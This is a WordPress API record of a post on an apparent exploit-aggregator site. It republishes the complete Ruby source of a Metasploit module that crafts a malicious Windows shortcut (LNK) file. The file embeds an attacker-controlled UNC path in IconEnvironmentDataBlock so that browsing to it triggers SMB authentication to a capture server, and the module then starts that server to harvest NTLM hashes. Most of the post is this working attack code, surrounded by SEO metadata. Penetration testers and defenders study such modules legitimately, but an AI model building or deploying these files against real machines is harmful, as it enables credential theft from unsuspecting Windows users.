{"id":19829,"date":"2025-10-01T17:20:46","date_gmt":"2025-10-01T17:20:46","guid":{"rendered":"http:\/\/localhost\/?p=19829"},"modified":"2025-10-01T17:20:46","modified_gmt":"2025-10-01T17:20:46","slug":"iconenvironmentdatablock-windows-lnk-file-special-unc-path-ntlm-leak","status":"publish","type":"post","link":"https:\/\/zero.redgem.net\/?p=19829","title":{"rendered":"IconEnvironmentDataBlock &#8211; Windows LNK File Special UNC Path NTLM Leak_MSF:AUXILIARY-FILEFORMAT-ICON_ENVIRONMENT_DATABLOCK_LEAK-"},"content":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2025-10-01T21:38:28&#8243;,&#8221;description&#8221;:&#8221;This module creates a malicious Windows shortcut (LNK) file that           specifies a special UNC path in IconEnvironmentDataBlock of Shell Link (.LNK)         &#8230;&#8221;,&#8221;published&#8221;:&#8221;2025-10-01T18:56:05&#8243;,&#8221;modified&#8221;:&#8221;2025-10-01T18:56:05&#8243;,&#8221;type&#8221;:&#8221;metasploit&#8221;,&#8221;title&#8221;:&#8221;IconEnvironmentDataBlock &#8211; Windows LNK File Special UNC Path NTLM Leak&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;MSF:AUXILIARY-FILEFORMAT-ICON_ENVIRONMENT_DATABLOCK_LEAK-&#8220;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[],&#8221;sourceData&#8221;:&#8221;##\\n# This module requires Metasploit: https:\/\/metasploit.com\/download\\n# Current source: https:\/\/github.com\/rapid7\/metasploit-framework\\n##\\n\\nrequire &#8216;faker&#8217;\\n\\nclass MetasploitModule \\u003c Msf::Auxiliary\\n\\n  include Msf::Exploit::FILEFORMAT\\n  include Msf::Exploit::Remote::SMB::Server::Share\\n  include Msf::Exploit::Remote::SMB::Server::HashCapture\\n\\n  def initialize(info = {})\\n    super(\\n      update_info(\\n        info,\\n        &#8216;Name&#8217; =\\u003e &#8216;IconEnvironmentDataBlock &#8211; Windows LNK File Special UNC Path NTLM Leak&#8217;,\\n        &#8216;Description&#8217; =\\u003e %q{\\n          This module creates a malicious Windows shortcut (LNK) file that\\n          specifies a special UNC path in IconEnvironmentDataBlock of Shell Link (.LNK)\\n          that can trigger an authentication attempt to a remote server. This can be used\\n          to harvest NTLM authentication credentials.\\n\\n          When a victim browse to the location of the LNK file, it will attempt to\\n          connect to the the specified UNC path, resulting in an SMB connection that\\n          can be captured to harvest credentials.\\n        },\\n        &#8216;License&#8217; =\\u003e MSF_LICENSE,\\n        &#8216;Author&#8217; =\\u003e [\\n          &#8216;Nafiez&#8217;, # Original POC \\u0026 MSF Module\\n        ],\\n        &#8216;References&#8217; =\\u003e [\\n          [&#8216;URL&#8217;, &#8216;https:\/\/zeifan.my\/Right-Click-LNK\/&#8217;]\\n        ],\\n        &#8216;Platform&#8217; =\\u003e &#8216;win&#8217;,\\n        &#8216;Targets&#8217; =\\u003e [\\n          [&#8216;Windows&#8217;, {}]\\n        ],\\n        &#8216;DefaultTarget&#8217; =\\u003e 0,\\n        &#8216;DisclosureDate&#8217; =\\u003e &#8216;2025-05-16&#8217;,\\n        &#8216;Notes&#8217; =\\u003e {\\n          &#8216;Stability&#8217; =\\u003e [CRASH_SAFE],\\n          &#8216;SideEffects&#8217; =\\u003e [ARTIFACTS_ON_DISK],\\n          &#8216;Reliability&#8217; =\\u003e []\\n        }\\n      )\\n    )\\n\\n    register_options([\\n\\n      OptString.new(&#8216;DESCRIPTION&#8217;, [false, &#8216;The shortcut description&#8217;, nil]),\\n      OptString.new(&#8216;ICON_PATH&#8217;, [false, &#8216;The icon path to use (not necessary using real ICON)&#8217;, nil]),\\n      OptInt.new(&#8216;PADDING_SIZE&#8217;, [false, &#8216;Size of padding in command arguments&#8217;, 10])\\n    ])\\n  end\\n\\n  def run\\n    description = datastore[&#8216;DESCRIPTION&#8217;]\\n    icon_path = datastore[&#8216;ICON_PATH&#8217;]\\n\\n    description = \\&#8221;#{Faker::Lorem.sentence(word_count: 3)}Shortcut\\&#8221; if description.blank?\\n\\n    icon_path = \\&#8221;%SystemRoot%\\\\\\\\System32\\\\\\\\#{Faker::File.file_name(ext: &#8216;ico&#8217;)}.to_s}%SystemRoot%\\\\System32\\\\shell32.dll\\&#8221; if icon_path.blank?\\n\\n    start_smb_capture_server\\n    unc_share = datastore[&#8216;SHARE&#8217;]\\n    unc_share = Rex::Text.rand_text_alphanumeric(6) if unc_share.blank?\\n    unc_path = \\&#8221;\\\\\\\\\\\\\\\\#{srvhost}\\\\\\\\\\\\\\\\#{unc_share}\\&#8221;\\n    lnk_data = create_lnk_file(description, icon_path, unc_path)\\n    filename = file_create(lnk_data)\\n    print_good(\\&#8221;LNK file created: #{filename}\\&#8221;)\\n    print_status(\\&#8221;Listening for hashes on #{srvhost}\\&#8221;)\\n\\n    stime = Time.now.to_f\\n    timeout = datastore[&#8216;ListenerTimeout&#8217;].to_i\\n    loop do\\n      break if timeout \\u003e 0 \\u0026\\u0026 (stime + timeout \\u003c Time.now.to_f)\\n\\n      Rex::ThreadSafe.sleep(1)\\n    end\\n  end\\n\\n  def create_lnk_file(description, icon_path, unc_path)\\n    data = &#8221;.b\\n\\n    # LNK header &#8211; 76 bytes\\n    header = \\&#8221;\\\\x4C\\\\x00\\\\x00\\\\x00\\&#8221;.b\\n\\n    # LinkCLSID (00021401-0000-0000-C000-000000000046)\\n    header += \\&#8221;\\\\x01\\\\x14\\\\x02\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\xC0\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x46\\&#8221;.b\\n\\n    # Define LinkFlags\\n    link_flags = 0x00000000\\n    link_flags |= 0x00000004  # HAS_NAME\\n    link_flags |= 0x00000020  # HAS_ARGUMENTS\\n    link_flags |= 0x00000040  # HAS_ICON_LOCATION\\n    link_flags |= 0x00000080  # IS_UNICODE\\n    link_flags |= 0x00004000  # HAS_EXP_ICON\\n\\n    header += [link_flags].pack(&#8216;V&#8217;)\\n\\n    # FileAttributes (FILE_ATTRIBUTE_NORMAL)\\n    header += \\&#8221;\\\\x20\\\\x00\\\\x00\\\\x00\\&#8221;.b\\n\\n    # CreationTime, AccessTime, WriteTime (zeroed)\\n    header += (\\&#8221;\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\&#8221;.b) * 3\\n\\n    # FileSize\\n    header += \\&#8221;\\\\x00\\\\x00\\\\x00\\\\x00\\&#8221;.b\\n\\n    # IconIndex\\n    header += \\&#8221;\\\\x00\\\\x00\\\\x00\\\\x00\\&#8221;.b\\n\\n    # ShowCommand (SW_SHOWNORMAL)\\n    header += \\&#8221;\\\\x01\\\\x00\\\\x00\\\\x00\\&#8221;.b\\n\\n    # HotKey\\n    header += \\&#8221;\\\\x00\\\\x00\\&#8221;.b\\n\\n    # Reserved fields\\n    header += \\&#8221;\\\\x00\\\\x00\\&#8221;.b + \\&#8221;\\\\x00\\\\x00\\\\x00\\\\x00\\&#8221;.b + \\&#8221;\\\\x00\\\\x00\\\\x00\\\\x00\\&#8221;.b\\n\\n    # Add the header to our binary data\\n    data += header\\n\\n    # NAME field (description in Unicode)\\n    description_utf16 = description.encode(&#8216;UTF-16LE&#8217;).b\\n    data += [description_utf16.bytesize \/ 2].pack(&#8216;v&#8217;)\\n    data += description_utf16\\n\\n    # ARGUMENTS field (command line arguments in Unicode)\\n    padding_size = datastore[&#8216;PADDING_SIZE&#8217;]\\n    cmd_args = &#8216; &#8216; * padding_size\\n    cmd_args_utf16 = cmd_args.encode(&#8216;UTF-16LE&#8217;).b\\n    data += [cmd_args_utf16.bytesize \/ 2].pack(&#8216;v&#8217;)\\n    data += cmd_args_utf16\\n\\n    # ICON LOCATION field (icon path in Unicode)\\n    icon_path_utf16 = icon_path.encode(&#8216;UTF-16LE&#8217;).b\\n    data += [icon_path_utf16.bytesize \/ 2].pack(&#8216;v&#8217;)\\n    data += icon_path_utf16\\n\\n    # ExtraData section &#8211; ICON ENVIRONMENT DATABLOCK SIGNATURE\\n    env_block_size = 0x00000314  # Total size of this block\\n    env_block_sig = 0xA0000007   # ICON_ENVIRONMENT_DATABLOCK_SIGNATURE\\n\\n    data += [env_block_size].pack(&#8216;V&#8217;)\\n    data += [env_block_sig].pack(&#8216;V&#8217;)\\n\\n    # Create fixed-size ANSI buffer with nulls\\n    ansi_buffer = \\&#8221;\\\\x00\\&#8221;.b * 260\\n\\n    # Copy the UNC path bytes into the buffer\\n    unc_path.bytes.each_with_index do |byte, i|\\n      ansi_buffer.setbyte(i, byte) if i \\u003c ansi_buffer.bytesize\\n    end\\n\\n    data += ansi_buffer\\n\\n    # Target field in Unicode (520 bytes)\\n    unc_path_utf16 = unc_path.encode(&#8216;UTF-16LE&#8217;).b\\n\\n    # Create fixed-size Unicode buffer with nulls\\n    unicode_buffer = \\&#8221;\\\\x00\\&#8221;.b * 520\\n\\n    # Copy the UTF-16LE encoded UNC path bytes into the buffer\\n    unc_path_utf16.bytes.each_with_index do |byte, i|\\n      unicode_buffer.setbyte(i, byte) if i \\u003c unicode_buffer.bytesize\\n    end\\n\\n    data += unicode_buffer\\n\\n    data += \\&#8221;\\\\x00\\\\x00\\\\x00\\\\x00\\&#8221;.b\\n\\n    data\\n  end\\n\\n  def start_smb_capture_server\\n    start_service\\n  end\\n\\nend\\n&#8221;,&#8221;sourceHref&#8221;:&#8221;https:\/\/github.com\/rapid7\/metasploit-framework\/blob\/master\/modules\/auxiliary\/fileformat\/icon_environment_datablock_leak.rb&#8221;,&#8221;cvss&#8221;:{&#8220;score&#8221;:0,&#8221;severity&#8221;:&#8221;NONE&#8221;,&#8221;vector&#8221;:&#8221;NONE&#8221;,&#8221;version&#8221;:&#8221;NONE&#8221;},&#8221;cvss2&#8243;:{},&#8221;cvss3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;,&#8221;cvssV3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;}},&#8221;href&#8221;:&#8221;https:\/\/www.rapid7.com\/db\/modules\/auxiliary\/fileformat\/icon_environment_datablock_leak\/&#8221;,&#8221;category_name&#8221;:&#8221;Exploit&#8221;,&#8221;post_link&#8221;:&#8221;&#8221;,&#8221;product&#8221;:&#8221;&#8221;,&#8221;version&#8221;:&#8221;&#8221;,&#8221;vendor&#8221;:&#8221;&#8221;,&#8221;ai_description&#8221;:&#8221;&#8221;,&#8221;ai_severity&#8221;:&#8221;&#8221;,&#8221;ai_vendor&#8221;:&#8221;&#8221;,&#8221;ai_product&#8221;:&#8221;&#8221;,&#8221;ai_version&#8221;:&#8221;&#8221;,&#8221;ai_score&#8221;:0}<\/p>\n","protected":false},"excerpt":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2025-10-01T21:38:28&#8243;,&#8221;description&#8221;:&#8221;This module creates a malicious Windows shortcut (LNK) file that specifies a special UNC path in IconEnvironmentDataBlock of Shell Link (.LNK) &#8230;&#8221;,&#8221;published&#8221;:&#8221;2025-10-01T18:56:05&#8243;,&#8221;modified&#8221;:&#8221;2025-10-01T18:56:05&#8243;,&#8221;type&#8221;:&#8221;metasploit&#8221;,&#8221;title&#8221;:&#8221;IconEnvironmentDataBlock &#8211; Windows LNK&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,12,169,13,33,7,11,5],"class_list":["post-19829","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-exploit","tag-metasploit","tag-news","tag-none","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.5 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>IconEnvironmentDataBlock - Windows LNK File Special UNC Path NTLM Leak_MSF:AUXILIARY-FILEFORMAT-ICON_ENVIRONMENT_DATABLOCK_LEAK- zero redgem<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/zero.redgem.net\/?p=19829\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"IconEnvironmentDataBlock - Windows LNK File Special UNC Path NTLM Leak_MSF:AUXILIARY-FILEFORMAT-ICON_ENVIRONMENT_DATABLOCK_LEAK- zero redgem\" \/>\n<meta property=\"og:description\" content=\"{&#8220;lastseen&#8221;:&#8221;2025-10-01T21:38:28&#8243;,&#8221;description&#8221;:&#8221;This module creates a malicious Windows shortcut (LNK) file that specifies a special UNC path in IconEnvironmentDataBlock of Shell Link (.LNK) &#8230;&#8221;,&#8221;published&#8221;:&#8221;2025-10-01T18:56:05&#8243;,&#8221;modified&#8221;:&#8221;2025-10-01T18:56:05&#8243;,&#8221;type&#8221;:&#8221;metasploit&#8221;,&#8221;title&#8221;:&#8221;IconEnvironmentDataBlock &#8211; Windows LNK...\" \/>\n<meta property=\"og:url\" content=\"https:\/\/zero.redgem.net\/?p=19829\" \/>\n<meta property=\"og:site_name\" content=\"zero redgem\" \/>\n<meta property=\"article:published_time\" content=\"2025-10-01T17:20:46+00:00\" \/>\n<meta name=\"author\" content=\"invoker\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"invoker\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"5 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=19829#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=19829\"},\"author\":{\"name\":\"invoker\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\"},\"headline\":\"IconEnvironmentDataBlock &#8211; Windows LNK File Special UNC Path NTLM Leak_MSF:AUXILIARY-FILEFORMAT-ICON_ENVIRONMENT_DATABLOCK_LEAK-\",\"datePublished\":\"2025-10-01T17:20:46+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=19829\"},\"wordCount\":1096,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"keywords\":[\"CVE\",\"CVSS\",\"exploit\",\"metasploit\",\"news\",\"NONE\",\"Security\",\"tapic\",\"Vulnerability\"],\"articleSection\":[\"category_exploit\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=19829#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=19829\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?p=19829\",\"name\":\"IconEnvironmentDataBlock - Windows LNK File Special UNC Path NTLM Leak_MSF:AUXILIARY-FILEFORMAT-ICON_ENVIRONMENT_DATABLOCK_LEAK- zero redgem\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\"},\"datePublished\":\"2025-10-01T17:20:46+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=19829#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=19829\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=19829#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/zero.redgem.net\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"IconEnvironmentDataBlock &#8211; Windows LNK File Special UNC Path NTLM Leak_MSF:AUXILIARY-FILEFORMAT-ICON_ENVIRONMENT_DATABLOCK_LEAK-\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"name\":\"zero redgem\",\"description\":\"\",\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/zero.redgem.net\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\",\"name\":\"zero redgem\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"\",\"contentUrl\":\"\",\"width\":191,\"height\":188,\"caption\":\"zero redgem\"},\"image\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\"}},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\",\"name\":\"invoker\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"caption\":\"invoker\"},\"sameAs\":[\"https:\\\/\\\/zero.redgem.net\"],\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?author=1\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"IconEnvironmentDataBlock - Windows LNK File Special UNC Path NTLM Leak_MSF:AUXILIARY-FILEFORMAT-ICON_ENVIRONMENT_DATABLOCK_LEAK- zero redgem","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/zero.redgem.net\/?p=19829","og_locale":"en_US","og_type":"article","og_title":"IconEnvironmentDataBlock - Windows LNK File Special UNC Path NTLM Leak_MSF:AUXILIARY-FILEFORMAT-ICON_ENVIRONMENT_DATABLOCK_LEAK- zero redgem","og_description":"{&#8220;lastseen&#8221;:&#8221;2025-10-01T21:38:28&#8243;,&#8221;description&#8221;:&#8221;This module creates a malicious Windows shortcut (LNK) file that specifies a special UNC path in IconEnvironmentDataBlock of Shell Link (.LNK) &#8230;&#8221;,&#8221;published&#8221;:&#8221;2025-10-01T18:56:05&#8243;,&#8221;modified&#8221;:&#8221;2025-10-01T18:56:05&#8243;,&#8221;type&#8221;:&#8221;metasploit&#8221;,&#8221;title&#8221;:&#8221;IconEnvironmentDataBlock &#8211; Windows LNK...","og_url":"https:\/\/zero.redgem.net\/?p=19829","og_site_name":"zero redgem","article_published_time":"2025-10-01T17:20:46+00:00","author":"invoker","twitter_card":"summary_large_image","twitter_misc":{"Written by":"invoker","Est. reading time":"5 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/zero.redgem.net\/?p=19829#article","isPartOf":{"@id":"https:\/\/zero.redgem.net\/?p=19829"},"author":{"name":"invoker","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca"},"headline":"IconEnvironmentDataBlock &#8211; Windows LNK File Special UNC Path NTLM Leak_MSF:AUXILIARY-FILEFORMAT-ICON_ENVIRONMENT_DATABLOCK_LEAK-","datePublished":"2025-10-01T17:20:46+00:00","mainEntityOfPage":{"@id":"https:\/\/zero.redgem.net\/?p=19829"},"wordCount":1096,"commentCount":0,"publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"keywords":["CVE","CVSS","exploit","metasploit","news","NONE","Security","tapic","Vulnerability"],"articleSection":["category_exploit"],"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/zero.redgem.net\/?p=19829#respond"]}]},{"@type":"WebPage","@id":"https:\/\/zero.redgem.net\/?p=19829","url":"https:\/\/zero.redgem.net\/?p=19829","name":"IconEnvironmentDataBlock - Windows LNK File Special UNC Path NTLM Leak_MSF:AUXILIARY-FILEFORMAT-ICON_ENVIRONMENT_DATABLOCK_LEAK- zero redgem","isPartOf":{"@id":"https:\/\/zero.redgem.net\/#website"},"datePublished":"2025-10-01T17:20:46+00:00","breadcrumb":{"@id":"https:\/\/zero.redgem.net\/?p=19829#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/zero.redgem.net\/?p=19829"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/zero.redgem.net\/?p=19829#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/zero.redgem.net\/"},{"@type":"ListItem","position":2,"name":"IconEnvironmentDataBlock &#8211; Windows LNK File Special UNC Path NTLM Leak_MSF:AUXILIARY-FILEFORMAT-ICON_ENVIRONMENT_DATABLOCK_LEAK-"}]},{"@type":"WebSite","@id":"https:\/\/zero.redgem.net\/#website","url":"https:\/\/zero.redgem.net\/","name":"zero redgem","description":"","publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/zero.redgem.net\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/zero.redgem.net\/#organization","name":"zero redgem","url":"https:\/\/zero.redgem.net\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/","url":"","contentUrl":"","width":191,"height":188,"caption":"zero redgem"},"image":{"@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/"}},{"@type":"Person","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca","name":"invoker","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","caption":"invoker"},"sameAs":["https:\/\/zero.redgem.net"],"url":"https:\/\/zero.redgem.net\/?author=1"}]}},"_links":{"self":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/19829","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=19829"}],"version-history":[{"count":0,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/19829\/revisions"}],"wp:attachment":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=19829"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=19829"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=19829"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}